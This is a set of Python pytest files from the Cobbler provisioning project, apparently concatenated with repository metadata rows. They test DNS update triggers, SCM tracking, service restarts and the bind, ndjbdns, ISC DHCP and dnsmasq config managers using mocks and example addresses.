""" Tests that validate the functionality of the module that is responsible for replacing or adding DNS records after a Cobbler system was deleted. """ from typing import TYPE_CHECKING from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules import nsupdate_add_system_post from cobbler.settings import Settings if TYPE_CHECKING: from pytest_mock import MockerFixture def test_register(): # Arrange & Act result = nsupdate_add_system_post.register() # Assert assert result == "/var/lib/cobbler/triggers/add/system/post/*" def test_run(mocker: "MockerFixture"): # Arrange settings_mock = MagicMock( name="nsupdate_add_system_post_setting_mock", spec=Settings ) settings_mock.nsupdate_enabled = True settings_mock.nsupdate_log = "/tmp/nsupdate.log" settings_mock.nsupdate_tsig_key = ["example-name", "example-key"] settings_mock.nsupdate_tsig_algorithm = "hmac-sha512" api = MagicMock(spec=CobblerAPI) api.settings.return_value = settings_mock args = ["testname"] # FIXME realistic return values mocker.patch("dns.tsigkeyring.from_text", return_value=True) mocker.patch("dns.update.Update", return_value=True) mocker.patch("dns.resolver.query", return_value=True) mocker.patch("dns.query.tcp", return_value=True) mocker.patch("dns.rcode.to_text", return_value=True) # Act result = nsupdate_add_system_post.run(api, args) # Assert # FIXME improve assert assert result == 0
1,527
Python
.py
39
35.025641
115
0.739513
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,013
sync_post_restart_services_test.py
cobbler_cobbler/tests/modules/sync_post_restart_services_test.py
""" Tests that validate the functionality of the module that is responsible for restarting services after config file regeneration. """ from typing import TYPE_CHECKING, List from cobbler.api import CobblerAPI from cobbler.modules import sync_post_restart_services if TYPE_CHECKING: from pytest_mock import MockerFixture def test_register(): # Arrange & Act result = sync_post_restart_services.register() # Assert assert result == "/var/lib/cobbler/triggers/sync/post/*" def test_run(mocker: "MockerFixture"): # Arrange restart_mock = mocker.patch( "cobbler.utils.process_management.service_restart", return_value=0 ) api = mocker.MagicMock(spec=CobblerAPI) api.get_module_name_from_file.side_effect = ["managers.isc", "managers.bind"] # type: ignore args: List[str] = [] # Act result = sync_post_restart_services.run(api, args) # Assert # FIXME improve assert assert restart_mock.call_count == 1 assert result == 0
1,003
Python
.py
28
31.75
113
0.728497
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,014
scm_track_test.py
cobbler_cobbler/tests/modules/scm_track_test.py
""" TODO """ from typing import TYPE_CHECKING from unittest.mock import MagicMock import pytest from cobbler.api import CobblerAPI from cobbler.cexceptions import CX from cobbler.modules import scm_track from cobbler.settings import Settings if TYPE_CHECKING: from pytest_mock import MockerFixture def test_register(): """ Test if the trigger registers with the correct ID. """ # Arrange & Act result = scm_track.register() # Assert assert result == "/var/lib/cobbler/triggers/change/*" def test_run_unsupported(): """ Test that asserts that unsupported ``scm_track_mode`` options raise the correct exception. """ # Arrange settings_mock = MagicMock(name="scm_track_unsupported_setting_mock", spec=Settings) settings_mock.scm_track_enabled = True settings_mock.scm_track_mode = "not-allowed" settings_mock.scm_track_author = "Cobbler Project <cobbler.project@gmail.com>" settings_mock.scm_push_script = "/bin/true" api = MagicMock(spec=CobblerAPI) api.settings.return_value = settings_mock args = None # Act & Assert with pytest.raises(CX): scm_track.run(api, args) def test_run_git(): """ Test that asserts that the Git integrations works as expected. """ # Arrange settings_mock = MagicMock(name="scm_track_git_setting_mock", spec=Settings) settings_mock.scm_track_enabled = True settings_mock.scm_track_mode = "git" settings_mock.scm_track_author = "Cobbler Project <cobbler.project@gmail.com>" settings_mock.scm_push_script = "/bin/true" api = MagicMock(spec=CobblerAPI) api.settings.return_value = settings_mock args = None # Act result = scm_track.run(api, args) # Assert # FIXME improve assert assert result == 0 def test_run_hg(mocker: "MockerFixture"): """ Test that asserts that the Mercurial integration works as expected. """ # Arrange settings_mock = MagicMock(name="scm_track_hg_setting_mock", spec=Settings) settings_mock.scm_track_enabled = True settings_mock.scm_track_mode = "hg" settings_mock.scm_track_author = "Cobbler Project <cobbler.project@gmail.com>" settings_mock.scm_push_script = "/bin/true" api = MagicMock(spec=CobblerAPI) api.settings.return_value = settings_mock args = None subprocess_call = mocker.patch("cobbler.utils.subprocess_call") # Act result = scm_track.run(api, args) # Assert assert subprocess_call.mock_calls == [ mocker.call(["hg", "init"], shell=False), mocker.call(["hg", "add collections"], shell=False), mocker.call(["hg", "add templates"], shell=False), mocker.call(["hg", "add snippets"], shell=False), mocker.call( [ "hg", "commit", "-m", "API update", "--user", settings_mock.scm_track_author, ], shell=False, ), mocker.call(["/bin/true"], shell=False), ] assert result == 0
3,076
Python
.py
90
28.222222
94
0.659367
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,015
nsupdate_delete_system_pre_test.py
cobbler_cobbler/tests/modules/nsupdate_delete_system_pre_test.py
""" Tests that validate the functionality of the module that is responsible for replacing or deleting DNS records after a Cobbler system was deleted. """ from typing import TYPE_CHECKING from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules import nsupdate_delete_system_pre from cobbler.settings import Settings if TYPE_CHECKING: from pytest_mock import MockerFixture def test_register(): # Arrange & Act result = nsupdate_delete_system_pre.register() # Assert assert result == "/var/lib/cobbler/triggers/delete/system/pre/*" def test_run(mocker: "MockerFixture"): # Arrange settings_mock = MagicMock( name="nsupdaet_delete_system_pre_setting_mock", spec=Settings ) settings_mock.nsupdate_enabled = True settings_mock.nsupdate_log = "/tmp/nsupdate.log" settings_mock.nsupdate_tsig_key = "example-key" settings_mock.nsupdate_tsig_algorithm = "hmac-sha512" api = MagicMock(spec=CobblerAPI) api.settings.return_value = settings_mock args = ["test_system"] # FIXME realistic return values mocker.patch("dns.tsigkeyring.from_text", return_value=True) mocker.patch("dns.update.Update", return_value=True) mocker.patch("dns.resolver.query", return_value=True) mocker.patch("dns.query.tcp", return_value=True) mocker.patch("dns.rcode.to_text", return_value=True) # Act result = nsupdate_delete_system_pre.run(api, args) # Assert # FIXME improve assert assert result == 0
1,525
Python
.py
39
34.948718
117
0.743051
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,016
sync_post_wingen_test.py
cobbler_cobbler/tests/modules/sync_post_wingen_test.py
from unittest.mock import MagicMock from cobbler.api import CobblerAPI from cobbler.modules import sync_post_wingen from cobbler.settings import Settings def test_register(): # Arrange & Act result = sync_post_wingen.register() # Assert assert result == "/var/lib/cobbler/triggers/sync/post/*" def test_run(): # Arrange settings_mock = MagicMock(name="sync_post_wingen_run_setting_mock", spec=Settings) settings_mock.windows_enabled = True settings_mock.windows_template_dir = "/etc/cobbler/windows" settings_mock.tftpboot_location = "" settings_mock.webdir = "" api = MagicMock(spec=CobblerAPI) api.settings.return_value = settings_mock args = None # Act result = sync_post_wingen.run(api, args) # Assert # FIXME improve assert assert result == 0
828
Python
.py
24
30.166667
86
0.722362
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,017
bind_test.py
cobbler_cobbler/tests/modules/managers/bind_test.py
""" Test to verify the functionallity of the isc bind module. """ import time from typing import TYPE_CHECKING, Any import pytest from cobbler.api import CobblerAPI from cobbler.modules.managers import bind if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture(scope="function") def named_template() -> str: """ This provides a minmal test templated for named that is close to the real one. """ return """options { listen-on port 53 { 127.0.0.1; }; directory "@@bind_zonefiles@@"; dump-file "@@bind_zonefiles@@/data/cache_dump.db"; statistics-file "@@bind_zonefiles@@/data/named_stats.txt"; memstatistics-file "@@bind_zonefiles@@/data/named_mem_stats.txt"; allow-query { localhost; }; recursion yes; }; #for $zone in $forward_zones zone "${zone}." { type master; file "$zone"; }; #end for #for $zone, $arpa in $reverse_zones zone "${arpa}." { type master; file "$zone"; }; #end for """ @pytest.fixture(scope="function", autouse=True) def reset_singleton(): """ Helper fixture to reset the isc singleton before and after a test. """ bind.MANAGER = None yield bind.MANAGER = None def test_register(): """ Test if the manager registers with the correct ID. """ # Arrange & Act result = bind.register() # Assert assert result == "manage" def test_manager_what(): """ Test if the manager identifies itself correctly. """ # pylint: disable=protected-access # Arrange & Act & Assert assert bind._BindManager.what() == "bind" # type: ignore def test_get_manager(cobbler_api: CobblerAPI): """ Test if the singleton is correctly initialized. """ # pylint: disable=protected-access # Arrange & Act result = bind.get_manager(cobbler_api) # Assert isinstance(result, bind._BindManager) # type: ignore def test_write_configs( mocker: "MockerFixture", cobbler_api: CobblerAPI, named_template: str ): """ Test if the manager is able to correctly write the configuration files. """ # Arrange open_mock = mocker.mock_open() mock_named_template = mocker.mock_open(read_data=named_template) mock_secondary_template = mocker.mock_open(read_data="garbage") mock_zone_template = mocker.mock_open(read_data="garbage 2") mock_bind_serial = mocker.mock_open() mock_etc_named_conf = mocker.mock_open() mock_etc_secondary_conf = mocker.mock_open() def mock_open(*args: Any, **kwargs: Any): if args[0] == "/etc/cobbler/named.template": return mock_named_template(*args, **kwargs) if args[0] == "/etc/cobbler/secondary.template": return mock_secondary_template(*args, **kwargs) if args[0] == "/etc/cobbler/zone.template": return mock_zone_template(*args, **kwargs) if args[0] == "/var/lib/cobbler/bind_serial": return mock_bind_serial(*args, **kwargs) if args[0] == "/etc/named.conf": return mock_etc_named_conf(*args, **kwargs) if args[0] == "/etc/secondary.conf": return mock_etc_secondary_conf(*args, **kwargs) return open_mock(*args, **kwargs) mocker.patch("builtins.open", mock_open) manager = bind.get_manager(cobbler_api) # TODO Mock settings for manage_dns and forward/reverse zones # Act manager.write_configs() # Assert # TODO: Extend assertions mock_bind_serial.assert_any_call( "/var/lib/cobbler/bind_serial", "r", encoding="UTF-8" ) mock_bind_serial_handle = mock_bind_serial() mock_bind_serial_handle.write.assert_any_call(time.strftime("%Y%m%d00")) open_mock.assert_not_called() @pytest.mark.skip("Advanced complicated test scenario for now.") def test_write_configs_zone_template(cobbler_api: CobblerAPI): """ TODO """ # Arrange # TODO Mock zone specific template /etc/cobbler/zone_templates/{zone} manager = bind.get_manager(cobbler_api) # Act manager.write_configs() # Assert # TODO: Mock that template was read assert False @pytest.mark.skip("Advanced complicated test scenario for now.") def test_chrooted_named(cobbler_api: CobblerAPI): """ TODO """ # Arrange manager = bind.get_manager(cobbler_api) # Act manager.write_configs() # Assert # TODO: Assert that correct paths are trying to be written assert False def test_manager_restart_service(mocker: "MockerFixture", cobbler_api: CobblerAPI): """ Test if the manager is able to correctly handle restarting the named server on different distros. """ # Arrange manager = bind.get_manager(cobbler_api) mocked_service_name = mocker.patch( "cobbler.utils.named_service_name", autospec=True, return_value="named" ) mock_service_restart = mocker.patch( "cobbler.utils.process_management.service_restart", return_value=0 ) # Act result = manager.restart_service() # Assert assert mocked_service_name.call_count == 1 mock_service_restart.assert_called_with("named") assert result == 0
5,202
Python
.py
153
28.771242
101
0.666999
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,018
ndjbdns_test.py
cobbler_cobbler/tests/modules/managers/ndjbdns_test.py
""" Tests that validate the functionality of the module that is responsible for managing the djbdns config files. """ from typing import TYPE_CHECKING, Any from cobbler.api import CobblerAPI from cobbler.items.network_interface import NetworkInterface from cobbler.items.system import System from cobbler.modules.managers import ndjbdns from cobbler.templar import Templar if TYPE_CHECKING: from pytest_mock import MockerFixture def test_register(): # Arrange # Act result = ndjbdns.register() # Assert assert result == "manage" def test_get_manager(cobbler_api: CobblerAPI): # Arrange & Act result = ndjbdns.get_manager(cobbler_api) # Assert # pylint: disable-next=protected-access isinstance(result, ndjbdns._NDjbDnsManager) # type: ignore[reportPrivateUsage] def test_manager_what(): # Arrange & Act & Assert # pylint: disable-next=protected-access assert ndjbdns._NDjbDnsManager.what() == "ndjbdns" # type: ignore[reportPrivateUsage] class MockedPopen: """ See https://stackoverflow.com/a/53793739 """ # pylint: disable=unused-argument,redefined-builtin def __init__(self, args: Any, **kwargs: Any): self.args = args self.returncode = 0 def __enter__(self): return self def __exit__(self, exc_type: Any, value: Any, traceback: Any): pass def communicate(self, input: Any = None, timeout: Any = None): stdout = "output" stderr = "error" self.returncode = 0 return stdout, stderr def test_manager_write_configs(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange mocker.patch("builtins.open", mocker.mock_open(read_data="test")) mocker.patch("subprocess.Popen", MockedPopen) mock_system = System(cobbler_api) mock_system.name = "test_manager_regen_hosts_system" mock_system.interfaces = { "default": NetworkInterface(cobbler_api, mock_system.name) } mock_system.interfaces["default"].dns_name = "host.example.org" mock_system.interfaces["default"].mac_address = "aa:bb:cc:dd:ee:ff" mock_system.interfaces["default"].ip_address = "192.168.1.2" mock_system.interfaces["default"].ipv6_address = "::1" ndjbdns.MANAGER = None test_manager = ndjbdns.get_manager(cobbler_api) test_manager.templar = mocker.MagicMock(spec=Templar, autospec=True) test_manager.systems = [mock_system] # type: ignore[reportAttributeAccessIssue] # Act test_manager.write_configs() # Assert test_manager.templar.render.assert_called_once_with( "test", {"forward": [("host.example.org", "192.168.1.2")]}, "/etc/ndjbdns/data" )
2,682
Python
.py
67
34.985075
109
0.704861
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,019
isc_test.py
cobbler_cobbler/tests/modules/managers/isc_test.py
""" Test to verify the functionality of the isc DHCP module. """ import time from typing import TYPE_CHECKING from unittest.mock import MagicMock import pytest from cobbler.api import CobblerAPI from cobbler.items.distro import Distro from cobbler.items.profile import Profile from cobbler.items.system import NetworkInterface, System from cobbler.modules.managers import isc from cobbler.settings import Settings if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture def api_isc_mock(): """ Mock to prevent the full creation of a CobblerAPI and Settings object. """ settings_mock = MagicMock(name="isc_setting_mock", spec=Settings) settings_mock.server = "127.0.0.1" settings_mock.default_template_type = "cheetah" settings_mock.cheetah_import_whitelist = ["re"] settings_mock.always_write_dhcp_entries = True settings_mock.http_port = 80 settings_mock.next_server_v4 = "127.0.0.1" settings_mock.next_server_v6 = "::1" settings_mock.default_ownership = [] settings_mock.default_virt_bridge = "" settings_mock.default_virt_type = "auto" settings_mock.default_virt_ram = 64 settings_mock.restart_dhcp = True settings_mock.enable_ipxe = True settings_mock.enable_menu = True settings_mock.virt_auto_boot = True settings_mock.default_name_servers = [] settings_mock.default_name_servers_search = [] settings_mock.manage_dhcp_v4 = True settings_mock.manage_dhcp_v6 = True settings_mock.jinja2_includedir = "" settings_mock.default_virt_disk_driver = "raw" settings_mock.cache_enabled = False settings_mock.allow_duplicate_hostnames = True settings_mock.allow_duplicate_macs = True settings_mock.allow_duplicate_ips = True settings_mock.autoinstall_snippets_dir = "" settings_mock.autoinstall_templates_dir = "" api_mock = MagicMock(autospec=True, spec=CobblerAPI) api_mock.settings.return_value = settings_mock # type: ignore test_distro = Distro(api_mock) test_distro.name = "test" api_mock.distros.return_value = [test_distro] # type: ignore test_profile = Profile(api_mock) test_profile.name = "test" test_profile._parent = test_distro.name # type: ignore api_mock.profiles.return_value = [test_profile] # type: ignore test_system = System(api_mock) test_system.name = "test" test_system._parent = test_profile.name # type: ignore api_mock.systems.return_value = [test_system] # type: ignore api_mock.repos.return_value = [] # type: ignore return api_mock @pytest.fixture(scope="function", autouse=True) def reset_singleton(): """ Helper fixture to reset the isc singleton before and after a test. """ isc.MANAGER = None yield isc.MANAGER = None def test_register(): """ Test if the manager registers with the correct ID. """ # Arrange & Act result = isc.register() # Assert assert result == "manage" def test_get_manager(api_isc_mock: CobblerAPI): """ Test if the singleton is correctly initialized. """ # Arrange isc.MANAGER = None # Act result = isc.get_manager(api_isc_mock) # Assert assert isinstance(result, isc._IscManager) # type: ignore def test_manager_what(): """ Test if the manager identifies itself correctly. """ # Arrange & Act & Assert assert isc._IscManager.what() == "isc" # type: ignore def test_manager_write_v4_config(mocker: "MockerFixture", api_isc_mock: CobblerAPI): """ Test if the manager is able to correctly generate the IPv4 isc dhcpd conf file. """ # Arrange mocker.patch("builtins.open", mocker.mock_open(read_data="test")) isc.MANAGER = None manager = isc.get_manager(api_isc_mock) mocked_templar = mocker.patch.object(manager, "templar", autospec=True) mock_server_config = { # type: ignore "cobbler_server": "127.0.0.1:80", "date": "Mon Jan 1 00:00:00 2000", "dhcp_tags": {"default": {}}, "next_server_v4": "127.0.0.1", } # Act manager.write_v4_config(mock_server_config) # type: ignore # Assert assert mocked_templar.render.call_count == 1 # type: ignore mocked_templar.render.assert_called_with( # type: ignore "test", mock_server_config, "/etc/dhcpd.conf", ) def test_manager_write_v6_config(mocker: "MockerFixture", api_isc_mock: CobblerAPI): """ Test if the manager is able to correctly generate the IPv6 isc dhcpd conf file. """ # Arrange mocker.patch("builtins.open", mocker.mock_open(read_data="test")) isc.MANAGER = None manager = isc.get_manager(api_isc_mock) mocked_templar = mocker.patch.object(manager, "templar", autospec=True) mock_server_config = { # type: ignore "dhcp_tags": {"default": {}}, "next_server_v4": "127.0.0.1", "next_server_v6": "::1", } # Act manager.write_v6_config(mock_server_config) # type: ignore # Assert assert mocked_templar.render.call_count == 1 # type: ignore mocked_templar.render.assert_called_with( # type: ignore "test", mock_server_config, "/etc/dhcpd6.conf", ) def test_manager_restart_dhcp(mocker: "MockerFixture", api_isc_mock: CobblerAPI): """ Test if the manager correctly restart the daemon. """ # Arrange isc.MANAGER = None mocked_subprocess = mocker.patch( "cobbler.utils.subprocess_call", autospec=True, return_value=0 ) mocked_service_restart = mocker.patch( "cobbler.utils.process_management.service_restart", autospec=True, return_value=0, ) manager = isc.get_manager(api_isc_mock) # Act result = manager.restart_dhcp("dhcpd", 4) # Assert assert mocked_subprocess.call_count == 1 mocked_subprocess.assert_called_with( ["/usr/sbin/dhcpd", "-4", "-t", "-q"], shell=False ) assert mocked_service_restart.call_count == 1 mocked_service_restart.assert_called_with("dhcpd") assert result == 0 def test_manager_write_configs(mocker: "MockerFixture", api_isc_mock: CobblerAPI): """ Test if the manager is able to correctly kick of generation of the v4 and v6 configs. """ # Arrange isc.MANAGER = None manager = isc.get_manager(api_isc_mock) mocked_v4 = mocker.patch.object(manager, "write_v4_config", autospec=True) mocked_v6 = mocker.patch.object(manager, "write_v6_config", autospec=True) mocker.patch.object(manager, "gen_full_config") # Act manager.write_configs() # Assert assert mocked_v4.call_count == 1 assert mocked_v6.call_count == 1 def test_manager_restart_service(mocker: "MockerFixture", api_isc_mock: CobblerAPI): """ Test if the manager is able to correctly handle restarting the dhcpd server on different distros. """ # Arrange isc.MANAGER = None manager = isc.get_manager(api_isc_mock) mocked_restart = mocker.patch.object( manager, "restart_dhcp", autospec=True, return_value=0 ) mocked_service_name = mocker.patch( "cobbler.utils.dhcp_service_name", autospec=True, return_value="dhcpd" ) # Act result = manager.restart_service() # Assert assert mocked_service_name.call_count == 1 assert mocked_restart.call_count == 2 assert result == 0 def test_manager_gen_full_config(mocker: "MockerFixture", api_isc_mock: CobblerAPI): # Arrange isc.MANAGER = None manager = isc.get_manager(api_isc_mock) mock_distro = Distro(api_isc_mock) mock_distro.redhat_management_key = "" mock_distro.arch = "x86_64" mock_profile = Profile(api_isc_mock) mock_profile.autoinstall = "" mock_profile.proxy = "" mock_profile.virt_file_size = "" mock_system = System(api_isc_mock) mock_system.name = "test_manager_regen_hosts_system" mock_interface = NetworkInterface(api_isc_mock, mock_system.name) mock_interface._dns_name = "host.example.org" # type: ignore mock_interface._mac_address = "aa:bb:cc:dd:ee:ff" # type: ignore mock_interface._ip_address = "192.168.1.2" # type: ignore mock_interface._ipv6_address = "::1" # type: ignore mock_system._interfaces = {"default": mock_interface} # type: ignore mocker.patch.object(mock_system, "get_conceptual_parent", return_value=mock_profile) mocker.patch.object(mock_profile, "get_conceptual_parent", return_value=mock_distro) manager.systems = [mock_system] # type: ignore # Act result = manager.gen_full_config() # Assert assert mock_interface.mac_address in result["dhcp_tags"]["default"] result_dhcp_tags = result["dhcp_tags"]["default"][mock_interface.mac_address] assert result_dhcp_tags["dns_name"] == mock_interface.dns_name assert result_dhcp_tags["mac_address"] == mock_interface.mac_address assert result_dhcp_tags["ip_address"] == mock_interface.ip_address assert result_dhcp_tags["ipv6_address"] == mock_interface.ipv6_address def _get_mock_config(): # type: ignore config = { # type: ignore "cobbler_server": "127.0.0.1:80", "date": "Tue Jun 11 16:19:49 2024", "dhcp_tags": { "default": { "aa:bb:cc:dd:ee:ff": { "dhcp_tag": "", "distro": { "arch": "x86_64", }, "dns_name": "host.example.org", "interface_type": "na", "ip_address": "192.168.1.2", "ipv6_address": "::1", "mac_address": "aa:bb:cc:dd:ee:ff", "name": "host.example.org-default", "next_server_v4": "127.0.0.1", "next_server_v6": "::1", "owner": "test_manager_regen_hosts_system", "profile": {}, "static": False, "static_routes": [], "virt_bridge": "<<inherit>>", }, }, }, "next_server_v4": "127.0.0.1", "next_server_v6": "::1", } return config # type: ignore def test_manager_remove_single_system( mocker: "MockerFixture", api_isc_mock: CobblerAPI ): # Arrange mocker.patch( "time.gmtime", return_value=time.struct_time((2000, 1, 1, 0, 0, 0, 0, 1, 1)), ) isc.MANAGER = None manager = isc.get_manager(api_isc_mock) mock_distro = Distro(api_isc_mock) mock_distro.redhat_management_key = "" mock_distro.arch = "x86_64" mock_profile = Profile(api_isc_mock) mock_profile.autoinstall = "" mock_profile.proxy = "" mock_profile.virt_file_size = "" mock_system = System(api_isc_mock) mock_system.name = "test_manager_regen_hosts_system" mock_interface = NetworkInterface(api_isc_mock, mock_system.name) mock_interface._dns_name = "host.example.org" # type: ignore mock_interface._mac_address = "aa:bb:cc:dd:ee:ff" # type: ignore mock_interface._ip_address = "192.168.1.2" # type: ignore mock_interface._ipv6_address = "::1" # type: ignore mock_system._interfaces = {"default": mock_interface} # type: ignore mocker.patch.object(mock_system, "get_conceptual_parent", return_value=mock_profile) mocker.patch.object(mock_profile, "get_conceptual_parent", return_value=mock_distro) manager.config = _get_mock_config() manager.restart_service = MagicMock() mock_write_configs = MagicMock() manager._write_configs = mock_write_configs # type: ignore # Act manager.remove_single_system(mock_system) # Assert mock_write_configs.assert_called_with( { "cobbler_server": "127.0.0.1:80", "date": "Mon Jan 1 00:00:00 2000", "dhcp_tags": { "default": {}, }, "next_server_v4": "127.0.0.1", "next_server_v6": "::1", } ) def test_manager_sync_single_system(mocker: "MockerFixture", api_isc_mock: CobblerAPI): # Arrange mocker.patch( "time.gmtime", return_value=time.struct_time((2000, 1, 1, 0, 0, 0, 0, 1, 1)), ) isc.MANAGER = None manager = isc.get_manager(api_isc_mock) mock_distro = Distro(api_isc_mock) mock_distro.redhat_management_key = "" mock_distro.arch = "x86_64" mock_profile = Profile(api_isc_mock) mock_profile.autoinstall = "" mock_profile.proxy = "" mock_profile.virt_file_size = "" mock_system = System(api_isc_mock) mock_system.name = "test_manager_regen_hosts_system" mock_interface = NetworkInterface(api_isc_mock, mock_system.name) mock_interface._dns_name = "host.example.org" # type: ignore mock_interface._mac_address = "bb:bb:cc:dd:ee:ff" # type: ignore mock_interface._ip_address = "192.168.1.2" # type: ignore mock_interface._ipv6_address = "::1" # type: ignore mock_system._interfaces = {"default": mock_interface} # type: ignore mocker.patch.object(mock_system, "get_conceptual_parent", return_value=mock_profile) mocker.patch.object(mock_profile, "get_conceptual_parent", return_value=mock_distro) manager.config = _get_mock_config() manager.restart_service = MagicMock() mock_write_configs = MagicMock() manager._write_configs = mock_write_configs # type: ignore # Act manager.sync_single_system(mock_system) systems_config = manager.config["dhcp_tags"]["default"] # type: ignore # Assert assert len(systems_config) == 2 # type: ignore assert mock_interface._mac_address in systems_config # type: ignore
13,673
Python
.py
343
33.603499
101
0.652433
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,020
dnsmasq_test.py
cobbler_cobbler/tests/modules/managers/dnsmasq_test.py
import time from unittest.mock import MagicMock import pytest from pytest_mock.plugin import MockerFixture from cobbler import utils from cobbler.api import CobblerAPI from cobbler.items.distro import Distro from cobbler.items.network_interface import NetworkInterface from cobbler.items.profile import Profile from cobbler.items.system import System from cobbler.modules.managers import dnsmasq from cobbler.settings import Settings from cobbler.templar import Templar @pytest.fixture def cobbler_api(): """ Mock to prevent the full creation of a CobblerAPI and Settings object. """ settings_mock = MagicMock(name="cobbler_api_mock", spec=Settings) settings_mock.server = "192.168.1.1" settings_mock.next_server_v4 = "192.168.1.1" settings_mock.next_server_v6 = "::1" settings_mock.default_virt_type = "auto" settings_mock.restart_dhcp = True settings_mock.default_virt_disk_driver = "raw" settings_mock.cache_enabled = False settings_mock.allow_duplicate_hostnames = True settings_mock.allow_duplicate_macs = True settings_mock.allow_duplicate_ips = True settings_mock.dnsmasq_hosts_file = "/var/lib/cobbler/cobbler_hosts" settings_mock.dnsmasq_ethers_file = "/etc/ethers" api_mock = MagicMock(autospec=True, spec=CobblerAPI) api_mock.settings.return_value = settings_mock return api_mock def _generate_test_system(cobbler_api: CobblerAPI): mock_system = System(cobbler_api) mock_system.name = "test_manager_regen_ethers_system" mock_system.interfaces = { "default": NetworkInterface(cobbler_api, mock_system.name) } mock_system.interfaces["default"].dns_name = "host.example.org" mock_system.interfaces["default"].mac_address = "AA:BB:CC:DD:EE:FF" mock_system.interfaces["default"].ip_address = "192.168.1.2" mock_system.interfaces["default"].ipv6_address = "::1" return mock_system def test_register(): # Arrange & Act result = dnsmasq.register() # Assert assert result == "manage" def test_manager_what(): # Arrange & Act & Assert assert dnsmasq._DnsmasqManager.what() == "dnsmasq" # type: ignore def test_get_manager(cobbler_api: CobblerAPI): # Arrange & Act result = dnsmasq.get_manager(cobbler_api) # Assert assert isinstance(result, dnsmasq._DnsmasqManager) # type: ignore def test_manager_write_configs(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange system_dns = "host.example.org" system_mac = "aa:bb:cc:dd:ee:ff" system_ip4 = "192.168.1.2" system_ip6 = "::1" mocker.patch( "time.gmtime", return_value=time.struct_time((2000, 1, 1, 0, 0, 0, 0, 1, 1)), ) mocker.patch("builtins.open", mocker.mock_open(read_data="test")) mock_distro = Distro(cobbler_api) mock_distro.arch = "x86_64" mock_profile = Profile(cobbler_api) mock_system = System(cobbler_api) mock_system.name = "test_manager_regen_hosts_system" mock_system.interfaces = { "default": NetworkInterface(cobbler_api, mock_system.name) } mock_system.interfaces["default"].dns_name = system_dns mock_system.interfaces["default"].mac_address = system_mac mock_system.interfaces["default"].ip_address = system_ip4 mock_system.interfaces["default"].ipv6_address = system_ip6 mocker.patch.object(mock_system, "get_conceptual_parent", return_value=mock_profile) mocker.patch.object(mock_profile, "get_conceptual_parent", return_value=mock_distro) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) test_manager.systems = [mock_system] # type: ignore test_manager.templar = MagicMock(spec=Templar, autospec=True) # Act test_manager.write_configs() # Assert test_manager.templar.render.assert_called_once_with( "test", { "insert_cobbler_system_definitions": f"dhcp-host=net:x86_64,{system_mac},{system_dns},{system_ip4},[{system_ip6}]\n", "date": "Mon Jan 1 00:00:00 2000", "cobbler_server": cobbler_api.settings().server, "next_server_v4": cobbler_api.settings().next_server_v4, "next_server_v6": cobbler_api.settings().next_server_v6, "addn_host_file": cobbler_api.settings().dnsmasq_hosts_file, }, "/etc/dnsmasq.conf", ) def test_manager_sync_single_system(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange mock_system_definition = ( "dhcp-host=net:x86_64,bb:bb:cc:dd:ee:ff,test.example.org,192.168.1.3,[::1]\n" ) mock_config = { "insert_cobbler_system_definitions": mock_system_definition, "date": "Mon Jan 1 00:00:00 2000", "cobbler_server": cobbler_api.settings().server, "next_server_v4": cobbler_api.settings().next_server_v4, "next_server_v6": cobbler_api.settings().next_server_v6, "addn_host_file": cobbler_api.settings().dnsmasq_hosts_file, } mocker.patch( "time.gmtime", return_value=time.struct_time((2000, 1, 1, 0, 0, 0, 0, 1, 1)), ) mocker.patch("builtins.open", mocker.mock_open(read_data="test")) mock_distro = Distro(cobbler_api) mock_distro.arch = "x86_64" mock_profile = Profile(cobbler_api) mock_system = _generate_test_system(cobbler_api) mocker.patch.object(mock_system, "get_conceptual_parent", return_value=mock_profile) mocker.patch.object(mock_profile, "get_conceptual_parent", return_value=mock_distro) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) mock_write_configs = MagicMock() mock_sync_single_ethers_entry = MagicMock() test_manager._write_configs = mock_write_configs # type: ignore test_manager.sync_single_ethers_entry = mock_sync_single_ethers_entry test_manager.restart_service = MagicMock() test_manager.config = mock_config system_mac = mock_system.interfaces["default"].mac_address system_dns = mock_system.interfaces["default"].dns_name system_ip4 = mock_system.interfaces["default"].ip_address system_ip6 = mock_system.interfaces["default"].ipv6_address expected_config = mock_config.copy() expected_config[ "insert_cobbler_system_definitions" ] += f"dhcp-host=net:x86_64,{system_mac},{system_dns},{system_ip4},[{system_ip6}]\n" # Act test_manager.sync_single_system(mock_system) # Assert mock_sync_single_ethers_entry.assert_called_with(mock_system, []) mock_write_configs.assert_called_with(expected_config) def test_manager_regen_ethers(mocker: "MockerFixture", cobbler_api: CobblerAPI): # Arrange mock_builtins_open = mocker.patch("builtins.open", mocker.mock_open()) mock_system = _generate_test_system(cobbler_api) dnsmasq.MANAGER = None test_manager = dnsmasq.get_manager(cobbler_api) test_manager.systems = [mock_system] # type: ignore system_mac = mock_system.interfaces["default"].mac_address.upper() system_ip4 = mock_system.interfaces["default"].ip_address # Act test_manager.regen_ethers() # Assert mock_builtins_open.assert_called_once_with( cobbler_api.settings().dnsmasq_ethers_file, "w", encoding="UTF-8" ) write_handle = mock_builtins_open() write_handle.write.assert_called_once_with(f"{system_mac}\t{system_ip4}\n") def 